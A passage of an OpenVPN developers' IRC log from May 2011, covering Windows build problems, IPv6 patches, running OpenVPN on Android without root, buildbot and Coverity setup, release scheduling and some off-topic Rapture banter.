BSDCan, an extremly high number of us on the Embrair jet were in the freebsd project. if that jet had crashed, you'd probably litterally see the end of FreeNAS, PC-BSD, ZFS, and likey FreeBSD itself. 12:15 <+ecrist> dazo: fwiw, I've been baptized both ways, believe my own thing and consider them both real-life sattire these days. 12:16 <@dazo> There are unfortunately a lot of people claiming to be Christians, but lives a completely different life ... that's sad 12:16 <+ecrist> something like 70% of the plane had BSD folks on board. 12:17 <+ecrist> I don't generally talk religion or politics, but today being the Rapture and all... 12:17 <@dazo> I'm a (active) believer myself ... but there are a lot of people who preach a faith I don't recognise, which is all focused around hate instead of "Love thy neighbour" 12:18 <+ecrist> personally, I think it's fine to share one's beliefs with other, forcing them upon them isn't OK in my book. My own belief is that, if I'm a good person, and genuinely have good intent (i know, road to hell is paved.. and all that), things will pan out. I'm more of a Karma guy than a God/Jesus guy. 12:19 <+ecrist> I do what I do, take my share (and little more) and go about my business. 12:19 <@dazo> Excatly! 12:19 <@dazo> I'm not around to convince people ... I talk about faith if people are interested, but you'll never find me pushing it unto people ... 12:20 <+ecrist> the funny thing, things DO tend to work out for me. I don't have excess, but I have what I need. As my needs increase, so does what I have, and what's available. I'm content. :) 12:20 <@dazo> :) 12:21 <+ecrist> so, that being said. I have popcorn, and I'm looking forward to this evening. 12:21 <+ecrist> by my estimate, you should be going first, dazo. :) 12:21 <@dazo> ecrist: lets see on Monday ;-) 12:21 <+ecrist> haha 12:21 <+ecrist> I'll just wait for your IRC timeout 12:22 <@dazo> heh :) Maybe I'll resurrect ;-) 12:22 <+ecrist> 12:22:12 -!- ecrist was kicked from #existence by G-D (for the Jews) RAPTURE BITCHES 12:27 -!- dazo is now known as dazo_afk 12:58 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:58 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:38 <@cron2> you folks talk funny when I look away... 13:42 <+ecrist> cron2: at least we wait until you look away 15:44 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 15:51 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 16:15 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 16:20 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:20 -!- mode/#openvpn-devel [+v krzie] by ChanServ 16:49 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 18:04 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 18:06 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 18:06 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Sat May 21 2011 02:26 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 03:18 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 04:22 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:48 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 05:55 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 06:48 <@cron2> someone around who understands windows gui and win7??? 06:49 <@cron2> my openvpn.exe seems to work nicely on win7, but when started from the gui, it just "disappears" and does nothing (and the gui claims it's working, but no log and nothing) 06:50 <@cron2> openvpn gui, that is 06:50 <@cron2> the "sourceforge.net" one... 08:00 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 10:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:54 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 240 seconds] 10:56 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 10:56 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:00 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 15:00 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 17:02 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 21:14 <+ecrist> cron2: you should use the one built in to openvpn now. --- Day changed Sun May 22 2011 00:49 <+krzee> hey jjk's book isnt on the howto! 01:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 01:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:15 <@cron2> ecrist: well, I was building a new openvpn install bundle and that had "issues" on Win7... 02:15 <@cron2> ecrist: so I *was* using the built-in gui :-) 02:56 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 04:06 -!- raket [raket@m83-178-153-121.cust.tele2.no] has joined #openvpn-devel 04:20 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 07:26 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 09:22 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:22 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:04 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 11:04 -!- raidz [~raidz@46-105-63-15.kimsufi.com] has joined #openvpn-devel 11:04 -!- raidz [~raidz@46-105-63-15.kimsufi.com] has quit [Changing host] 11:04 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:04 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:34 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:25 <@cron2> so. windows IPv6 stuff cleaned up for good :-) and pushed. Waiting for a final test confirmation, then I'll send patch to the list for review 12:25 <@cron2> (this is *not* "code cleanup for MS VC", but "functionality cleanup") 12:25 <+krzee> !! 12:25 <+krzee> VC = ? 12:26 <@cron2> visual c++ 12:26 <@cron2> their C compiler from hell 12:26 <+krzee> ahh 12:26 <@cron2> doesn't understand half of the things that GCC learned last century... so we have tons of compilation errors in jjo's and my ipv6 code, and in dazo's plugin init code 12:27 <@cron2> 99% of the errors are "because the compiler is too dumb to use as a boat anchor", and 1% is "windows header files are nasty" 12:27 <@cron2> with msys/mingw, everything compiles like a charm... 12:28 <@cron2> last meeting we managed to clean up those bits that really were just "missing header files" or "duplicate declaration, not needed here" (in mattock's repo), but the remaining stuff is... smelly. 12:28 <+krzee> the guy i know who is the most savage with windows C is very much likely to put in backdoors, so i cant bring him for that, lol 12:32 <@cron2> hehe :-) we already have all the info what we need to change (see here: http://codepad.org/tqq5hmHz) 12:32 <@vpnHelper> Title: Plain Text code - 439 lines - codepad (at codepad.org) 12:33 <@cron2> the nasty thing is all the msg() and ASSERT() lines because MSC doesn't like #ifdef-inside-macro 13:45 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:45 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:24 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:41 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 15:49 -!- andj is now known as andj_afk 16:18 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 16:42 <@vpnHelper> RSS Update - tickets: #138: WARNING: file server.key is group or others accessible even with chmod 0400 <https://community.openvpn.net/openvpn/ticket/138> 16:48 <@vpnHelper> RSS Update - tickets: #139: WARNING: file server.key is group or others accessible even with chmod 0400 <https://community.openvpn.net/openvpn/ticket/139> 17:17 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 240 seconds] 17:38 -!- raket [raket@m83-178-153-121.cust.tele2.no] has quit [Read error: Connection reset by peer] 17:45 <+krzie> interesting, trac's RSS uses https, forums uses http 18:01 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 18:01 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 20:38 <+ecrist> krzie: it just happes to be what ever URL i copy/pasted. 20:42 <+krzie> ehh? 20:42 <+krzie> you mean you can make vpnHelper's forum RSS show https? 20:46 <+ecrist> yeah 21:21 <+krzee> oh well if thats easy to change, please do! 21:21 <+krzee> him using http kills existing login cookies 22:29 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 22:30 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 22:30 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Mon May 23 2011 00:08 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 00:29 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 00:34 -!- andj_afk is now known as andj 00:49 -!- andj is now known as andj_afk 01:00 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:18 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:18 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:42 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 02:18 <@mattock> wow, even Bing is indexing our forums: "Registered users: Bing [Bot], googlebot, samuli" 02:18 <@mattock> everyone will find us now :) 02:21 <@mattock> oh man, JJK got 706 forum posts already, he's a dedicated support team in one person :D 02:29 <+krzee> seriously man! 02:29 <+krzee> i had over a year headstart, and he has more posts than me now, and i bet hes still been active on the forums! 02:30 <+krzee> which is why you guys should get his book on that howto asap! 02:30 <+krzee> (besides the fact that its a kickass book) 02:39 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 02:39 <@mattock> krzee: do you want me to send you email about the android issue? 02:39 <@mattock> which you then forward to your friend? 02:40 <+krzee> sure 02:40 <@mattock> I don't think I have your email address 02:40 <+krzee> krzee@ircpimps.org 02:40 <@mattock> thanks 02:41 <+krzee> np 02:45 <@mattock> krzee: sent mail 02:46 <+krzee> that is not quite all that is missing 02:47 <+krzee> well maybe it is... i guess they could run openvpn as root without giving the user root access 02:48 <+krzee> but if they wanted, it would just take a lil hacking (iirc ecrist or dazo said this) to make openvpn able to work without root priviledges 02:49 <+krzee> i would assume they woul prefer this, since openvpn could otherwise be used to execute scripts as root and thereby be able to let users root the phone with it 02:53 <+krzee> lets try to get some info on how to do that and include it in the email 02:55 -!- dazo_afk is now known as dazo 02:56 <+krzee> maybe we can also add that we are willing to help with the code if they are interested (we'ld just need to get the dev that submitted it to cyanogenmod involved) 02:57 <+krzee> in cyanogenmod adding an openvpn tunnel is the same interface as an ipsec or pptp tunnel 02:58 <+krzee> all it lacks is an import config feature 03:18 <@mattock> krzee: ok 03:19 <@mattock> krzee: have you tried pinpointing the cyanogenmod guy? 03:19 <+krzee> yep, posted the link in here 03:19 <@mattock> new pwm is now online: https://community.openvpn.net/pwm/ 03:19 <@vpnHelper> Title: OpenVPN user account management service (at community.openvpn.net) 03:19 <@mattock> I'll do last bunch of tests and hope it does not break into pieces 03:19 <+krzee> nice! 03:19 <@mattock> it's got the neat "password reset via email" function 03:20 <@mattock> (finally) 03:22 <@mattock> it also sends email now 03:23 <@dazo> I see most of you survived Friday :) 03:23 <@mattock> people have been confused about registration not sending emails 03:23 <+krzee> ya imn disapointed, i thought all the believers would go away and ild be able to loot their houses 03:24 <@mattock> Bible math is funny... you take a bunch of numbers, add another bunch and voila: you got date for the doomsday 03:24 <@mattock> _arbitrary_ numbers, that is 03:24 <+krzee> hey dazo was it you who said that it would be possible for the android devs to make openvpn able to run without needing root? 03:25 <+krzee> mattock, using $RAND and the date command we could make a few doomsday predictions! 03:27 <@dazo> krzee: oh dear ... did I? :-P Well, I don't recall ... but most likely not doable. OpenVPN daemon must be started as root. But it should be possible to drop most of the privileges, and I'm from time to time poking into that OpenVPN may keep CAP_NET_ADMIN, which should allow the user running OpenVPN to change route/ip addresses .... but to set this privilege, OpenVPN must first have been started as root 03:28 <+krzee> gotchya 03:28 <+krzee> ahh must have been ecrist 03:28 <+krzee> and hes a bsd guy 03:29 <@dazo> :) 03:29 <@dazo> mattock: yeah, Bible math is .... fraud :) Especially when most (sane) theologians pin-points several places in the Bible stating that it will not be possible for us to predict the end of the world 03:29 <+krzee> theres sane thoelogians? 03:30 <@dazo> I do happen to quite some of them ... but, they seem to be lacking in the US, at least if only considering those who get space in the media 03:30 <@dazo> sane theologians keep a low profile, usually ;-) 03:31 <+krzee> we could always just give them a configure flag for disabling all scripts 03:34 <@dazo> krzee: I don't think scripts can be disabled 03:34 <+krzee> ehh? 03:34 <@dazo> there is --disable-plugins 03:34 <@dazo> but that takes only care of --plugin 03:34 <+krzee> you mean like it wouldnt be possible to add a configure option to do that if they wanted? 03:35 <+krzee> im thinking that because of this: 03:35 <+krzee> [03:50] <krzee> i would assume they would prefer this, since openvpn could otherwise be used to execute scripts as root and thereby be able to let users root the phone with it 03:36 <@dazo> hmm ... that's a good point 03:37 <@dazo> it might be we'll need to write a patch for them solving that ... however, I'm not so keen on adding that upstream ... we're kind of trying to reduce the number of #ifdef in the code 03:37 <@dazo> but we should really consider this 03:37 <+krzee> well it doesnt matter unless they are interested 03:37 <@dazo> yeah, agreed 03:38 <+krzee> thats gunna be the hard part 03:39 <@dazo> that sounds more like a deal ... if they're interested and that --disable-script-hooks is a criteria for them, then we can sure consider it ... getting into the Android platform officially would be a nice thing 03:39 <@cron2> dazo: have you already pulled Set Mos' window tun.c (netsh store=active) patch from my repo? 03:40 <@dazo> cron2: nope ... waiting for your "pull me tree now" message :) 03:40 <+krzee> theyd need a dns workaround too if they disabled scripts 03:40 <@dazo> krzee: how come? 03:40 <@cron2> dazo: ok, great. Sending the patches to the list for review now, with a "pull me!" 03:40 <+krzee> well no they wouldnt actually, they can already set dns... just couldnt receieve it from the server 03:41 <+krzee> because currently linux uses a script to recieve pushed DNS 03:41 <@dazo> cron2: you can check out git request-pull 03:41 <@dazo> krzee: ahh, of course! 03:42 * dazo is still in waking-up-mode :) 03:42 <+krzee> but they could work-around that by having a special "while on vpn" dns server configured on the openvpn menu, instead of honoring a pushed NS 03:42 <+krzee> that wouldnt be a big deal 03:43 <+krzee> they could even pre-configure it with 8.8.8.8 if they wanted ;] 03:46 <@cron2> mail sent 03:48 <@cron2> dazo: mmmh, nice (git request-pull). 03:49 <@dazo> krzee: yeah ... it might be that they could enable --plugin though, which might be able to grab the pushed DNS ... that plug-in is a C module (.so file) ... that plug-in can then interact with the Android infrastructure in a safer way 03:49 <@dazo> or ... worst case, they can hard-code a plug-in in the OpenVPN executable which is shipped 03:50 <+krzee> ahh right 04:04 <@cron2> dazo: git is really made for lazy coders, isn't it? :-) - "request-pull" does nothing that one couldn't do manually, but it does so with much less manual interaction... 04:06 <@dazo> cron2: that's correct :) well, if you imagine how the Linux kernel is maintained, with ~5 patches per hour 04:07 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 04:08 <@dazo> If I had needed to routine work much of the day ... I'd write a script doing it for me too :) 04:11 <@cron2> indeed (that's what I do for the routine part of my daily work... :) ) 04:13 <@dazo> :) 04:34 <+krzee> same 04:34 <+krzee> (although i just do it all in bash) 04:54 <@dazo> lol! http://dilbert.com/2011-05-23/ 04:54 <@vpnHelper> Title: The official Dilbert website with Scott Adams' color comic strips, animation, mashups and more! (at dilbert.com) 04:55 * dazo have experienced the same situation ... a few times too many :) 05:16 <@dazo> cron2: I had a quick look at your git tree ... decided to merge it in ... it looks sane to me 05:18 <@vpnHelper> RSS Update - testtrac: Merge remote-tracking branch 'cron2/feat_ipv6_payload_2.3' <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=8a606673bdd4251c0db876e36e92751907816bb4> || Windows IPv6 cleanup - properly remove IPv6 routes and interface config <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=b55e49bd69484fdd440098f9485de159251e1cce> || Change 05:40 <@cron2> \o/ :-) 08:46 -!- dazo is now known as dazo_afk 08:52 -!- dazo_afk is now known as dazo 10:27 <@mattock> ah, openvpn.net was offline a while 10:27 <@dazo> quite a while, I'd say :) 10:28 <@mattock> how long exactly? not that I could have done anything, don't have access to that server 10:29 <@dazo> at least ~8:30 UTC 10:47 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:20 -!- andj_afk is now known as andj 12:06 * cron2 doesn't monitor that (only forums.* and community.*) 12:26 -!- dazo is now known as dazo_afk 12:29 -!- Remowylliams [~mare@74.221.11.107] has joined #openvpn-devel 12:32 < Remowylliams> Hello everyone, Not sure if this problem has popped up in bug tracking. but I found it odd. using openvpn 2.2.0 windows client -> openvpn 2.2.0 server I can log onto Secondlife, most everything works but I don't get movement updates back from the sim. But using any of the earlier versions works fine. right now using 2.1.3 -> 2.2.0 and it works just fine. 12:33 < Remowylliams> the server is on a FreeBSD router. 12:45 <+krzee> whats secondlife, what sim? 13:30 < Remowylliams> Krzee, secondlife is a 3D virtual world. it's been around about 6 years http://secondlife.com/ 13:30 <@vpnHelper> Title: Virtual Worlds, Avatars, free 3D chat, online meetings - Second Life Official Site (at secondlife.com) 13:44 -!- Remowylliams [~mare@74.221.11.107] has left #openvpn-devel [] 15:05 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:05 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 17:21 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Ping timeout: 260 seconds] 23:48 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel --- Day changed Tue May 24 2011 00:28 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:28 -!- mode/#openvpn-devel [+o mattock] by ChanServ 00:36 -!- s7r [~s7r@unaffiliated/s7r] has quit [Ping timeout: 255 seconds] 00:50 -!- andj is now known as andj_afk 01:12 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 01:28 -!- s7r [~s7r@unaffiliated/s7r] has quit [Ping timeout: 252 seconds] 02:04 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 03:25 -!- dazo_afk is now known as dazo 04:26 -!- s7r [~s7r@unaffiliated/s7r] has quit [Ping timeout: 250 seconds] 04:37 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 04:46 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:50 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 04:50 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 04:50 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:50 -!- mode/#openvpn-devel [+v janjust] by ChanServ 05:02 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 06:34 <@mattock> buildbot configuration seems to be working, I'm running 8 builds on 2 slaves as a test 06:35 <@dazo> neat! 06:35 <@mattock> if we want to track "master" on both openvpn.git and openvpn-testing.git, current setup of 4 slaves will give 128 builds per commit 06:37 <@mattock> hmm, some file is missing, all builds fail at ./configure 06:37 <@dazo> you don't need to track master on both trees, they are in synch 06:38 <@dazo> but later on we might want to track the 'experimental' branch on -testing 06:39 <@mattock> yep, that's easy to fix 06:42 <@mattock> builds looking better this time... 06:43 <@mattock> yep, first build compiling 06:43 <@mattock> successful build 06:44 <@mattock> I'll activate all slaves now 06:50 <@dazo> what kind of slaves doing the job now? Debian, Ubuntu ... and? 06:54 <@mattock> dazo: check out http://10.7.36.101:8010/waterfall... and for slaves, this page: http://10.7.36.101:8010/buildslaves 06:55 <@mattock> I'm going to add a few soonish: 06:55 <@mattock> - Scientific Linux 6.0 (amd64) 06:55 <@mattock> - Debian 6 (i386/amd64) 06:55 <@mattock> - Ubuntu 10.10 (i386/amd64) 06:55 <@mattock> oh, and FreeBSD 8.x 06:56 <@mattock> depending on how many different build combinations my server can cover 06:57 <@mattock> I can reduce the number of unnecessary builds by setting "treeStabletimer" to something really high, say, a few days 06:58 <@mattock> that avoids separate builds for several commits coming in quickly one after another 06:58 <@mattock> we got some build warnings already: http://10.7.36.101:8010/builders/builder-ubuntu-1004-i386-stable-master--disable-lzo/builds/2/steps/compile/logs/warnings 06:59 <@dazo> Nice! 06:59 <@mattock> this is probably a nicer view with this many builders: http://10.7.36.101:8010/one_box_per_builder 07:04 <@dazo> mattock: this is just a little minor detail ... but is it possible to make the web server to use UTF-8 as charset by default? 07:06 <@mattock> hmm, maybe 07:06 <@mattock> I'll check 07:06 <@mattock> it's using Twisted 07:23 <@mattock> quick googling turned up no easy "switch on UTF-8" recipe 07:23 <@mattock> the stdio reports are probably just text files passed to the browser through buildbot, so changing the buildslave's default charset might help 07:25 <@mattock> dazo: did you try mailing this guy directly: https://community.openvpn.net/openvpn/ticket/126 07:25 <@vpnHelper> Title: #126 (Cannot access Syspro 6.0 Server with 2.2RC or 2.2.0) – OpenVPN Community (at community.openvpn.net) 07:25 <@dazo> mattock: nope, I don't have any e-mail 07:25 <@mattock> ok, I'll mail him 07:26 <@dazo> thx! 07:31 <@mattock> sent 07:44 <@mattock> dazo: I think coverity is currently tracking "allmerged" branch 07:44 <@mattock> should we switch that to openvpn.git/master 07:44 <@mattock> ? 07:45 <@mattock> their web interface does not show where the codebase is fetched from 07:58 <@mattock> the majority of builds failed: http://10.7.36.101:8010/one_box_per_builder 07:59 <@mattock> and this one is hanging in options.c 07:59 <@mattock> http://10.7.36.101:8010/builders/builder-debian-5-amd64-stable-master/builds/0/steps/compile/logs/stdio 07:59 <@mattock> same happened earlier (2.2.0 release), both with buildbot and when running the build interactively 08:07 <@mattock> same errors on my laptop with --disable-crypto: options.c: In function ‘add_option’: 08:07 <@mattock> options.c:5061: error: ‘struct options’ has no member named ‘push_peer_info’ 08:22 -!- andj_afk is now known as andj 08:25 <@cron2> mattock: we have feedback from coverity?? 08:25 * cron2 wakes up 08:26 <@mattock> well, I _think_ they changed the codebase to "allmerged" branch, but their UI sucks 08:26 <@mattock> ...so I can't be sure without identifying some file belonging to that branch 08:27 <@mattock> also, I have no clue whether they update the codebase automatically, or if we have to ask them to do it 08:27 <@mattock> they're not too talkative 08:27 <@mattock> and they ignored my request for a few extra user accounts 08:27 <@mattock> and there's no good "export test results" capability 08:28 <@mattock> so, it's potentially really useful, but they're handling the "Coverity Scan" project which we belong to pretty badly 08:31 <@cron2> :( 08:31 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 08:32 < andj> Hi everyone 08:32 < andj> dazo here by any chance? 08:33 <@mattock> andj: in theory, yes, but in practice probably not :) 08:34 < andj> I was wondering what the schedule was for 2.3 development 08:35 < andj> I need to fit in two weeks of porting of the Doxygen patches and OpenSSL patches in the next few weeks 08:35 < andj> and I'd prefer to do that a little later (say in about 2-3 weeks) 08:35 < andj> But I'm not sure whether that would work with the 2.3 development schedule 08:36 < andj> any idea on the timeframe? 08:36 <@cron2> andj: we hope to make a 2.3 release in about 5 months time (6 months after 2.2) 08:37 < andj> aha 08:37 <@cron2> if we subtract beta and RC phases, it might be good to have a "agreed-upon" code base in 2 months or so 08:37 <@cron2> ... but then, if we look at 2.2 release, our release plans tend to take a... bit... longer to implement :) 08:42 < andj> ok, sounds good. So if I were to hand in some new patches our Doxygen and PolarSSL patches a little later, (say in about a month) 08:42 < andj> they would still make it to the release? 08:43 <@cron2> chances are good 08:44 < andj> Thanks, in that case I'll postpone my development work here a little, and let another project in first, and you'll hear from me and the patches in a few weeks 08:45 <@mattock> andj: looking forward to your patches! 08:45 < andj> So am I :) 08:47 <@dazo> mattock: coverity should cover 'master', that makes most sense 08:47 <@dazo> andj: I'm here 08:47 <@mattock> dazo: ok, I'll mail them (again) 08:48 <@dazo> andj: I have a meeting starting in ~10 min ... but I'll be here around for some hours 08:48 < andj> ok, see above :) 08:49 < andj> Our patches will be a little later due to an unexpected project. But they'll get there eventually 08:49 <@dazo> andj: yeah, if you have your patches ready within the next 4-5 weeks, then it's for sure they'll make it into 2.3 ... unless something really nasty appears, of course ;-) 08:49 <@mattock> dazo: openvpn.git, not openvpn-testing.git? they're the same now, but will they deviate in the future? 08:49 < andj> dazo: As long as we make it for 2.3 we'll be happy 08:49 < andj> thanks for the info, see you around! 08:50 <@dazo> mattock: I would say openvpn.git .... they should always be in sync 08:50 <@mattock> ok 08:51 <@dazo> -testing is for more rapid/unstable stuff ... and what will go into a release will be merged into master ... so this is the way things comes into openvpn.git master ... which then should be a development branch but more stable 09:05 <@mattock> dazo: surprisingly the coverity guy I spoke with earlier responded already 09:05 <@mattock> you should get access to the scan project later today 09:05 <@dazo> cool! that's really nice! 09:05 <@mattock> and he'll update git tomorrow 09:05 <@mattock> yep 09:45 <@cron2> cool. Looking forward to see the results :-) 09:46 <@cron2> mattock: do you have some time in the next days to work on the "master" windows building problem? 09:46 <@mattock> yep, tomorrow and the day after tomorrow :) 09:46 <@cron2> cool 09:47 * cron2 is at home tomorrow and has (some amount of) time 09:57 -!- andj is now known as andj_afk 11:13 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 11:19 -!- andj_afk is now known as andj 12:32 -!- dazo is now known as dazo_afk 13:10 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:10 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:06 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 16:03 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 16:03 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 17:19 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 17:23 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:23 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Wed May 25 2011 00:56 -!- andj is now known as andj_afk 01:20 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 02:06 -!- s7r [~s7r@unaffiliated/s7r] has quit [Remote host closed the connection] 02:46 -!- dazo_afk is now known as dazo 03:35 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 260 seconds] 04:10 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 04:10 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 04:10 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:10 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:10 <@mattock> I'm setting up 5 additional buildslaves atm, debian 6 i386/amd64, ubuntu 11.04 i386/amd64... and later Fedora 15 i386/amd64 04:10 <@mattock> (still downloading fedora DVD images) 04:11 <@mattock> not sure if having i386/amd64 flavors for every os makes much sense, though 04:11 <@mattock> all might be ready by end of this day 04:12 <@mattock> then I'll finish the automated tests (t_client.rc), which is almost there 04:12 <@dazo> wow! 04:13 <+janjust> morning all; who controls forums.openvpn.net? 04:13 <@dazo> mattock and ecrist, I believe 04:13 <@dazo> the server, that is 04:13 <+janjust> the site is dog slow 04:13 <@mattock> janjust: I'll have a look 04:13 <+janjust> thx mattock 04:14 <@dazo> janjust: I think that's a request from krzee to slow you down :-P 04:14 <+janjust> lol dazo 04:14 <@dazo> a quote from krzee: janjust is a complete support team in one person :) 04:14 <+janjust> hehe, I am trying to slow down but I'm addicted: more questions, more questions :P 04:15 <@dazo> hehe :) that's just great! :) 04:15 <@dazo> ecrist: is in the US, so he might first show up in a few hours 04:15 <+janjust> just kidding ; I'm starting to get cynical sometimes when answering posts so I _DO_ need to slow down 04:16 <@dazo> that I do understand ... I had to stop being on #openvpn for some time ... some days it just made me grumpy helping out there 04:16 <@mattock> dazo: that's my quote! :P 04:16 <@dazo> mattock: ahh! sorry! I remembered wrong 04:17 * dazo does a memory refresh to correct the corrupted memory allocation :P 04:17 <@mattock> janjust: there's no runaway process or anything on the server, and phpbb seems snappy to me 04:17 <@mattock> perhaps something between you and forums? 04:18 * janjust is starting to think that dazo is right 04:18 <+janjust> ah well, it's snappy again now ; it was just that all other sites were fine on my machine, only this one was dog slow 04:19 <@mattock> probably some glitch 04:19 <@mattock> or, as archaeologist say when they don't understand something they see: "this is an anomaly" 04:19 <@dazo> so much could improve if people trying out OpenVPN could a) learn basic networking first b) read the docs more carefully and not just skim it 04:19 <+janjust> @dazo: this is why i stopped going to IRC in the first place: the IRC channel is even worse 04:19 <@mattock> :) 04:20 <+janjust> mattock: high energy physists usually say "it's a cosmic particle which lit up the detector" 04:20 <@dazo> janjust: really!?!? ... wow! ... the registration needed for the forum really does filter out people 04:20 <+janjust> dazo: nah, but when writing a post people tend to think before pressing 'submit' ; with an irc channel they just blabber 04:21 <@dazo> true 04:21 <+janjust> which is also one of the reasons why I find it very hard to take irc discussions seriously ;) 04:22 <@dazo> hmmm ... but you start to believe I'm right, after a chat here on irc .... I don't think I'll take that seriously .... :-P 04:24 <+janjust> hehe "I'm a lawyer and all lawyers are liars " 05:22 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 05:26 <@cron2> regarding forums: I think it might have been IPv6 failing 05:26 <@cron2> I saw a note from our monitoring (but now it's ok again) - so if janjust has IPv6 at his 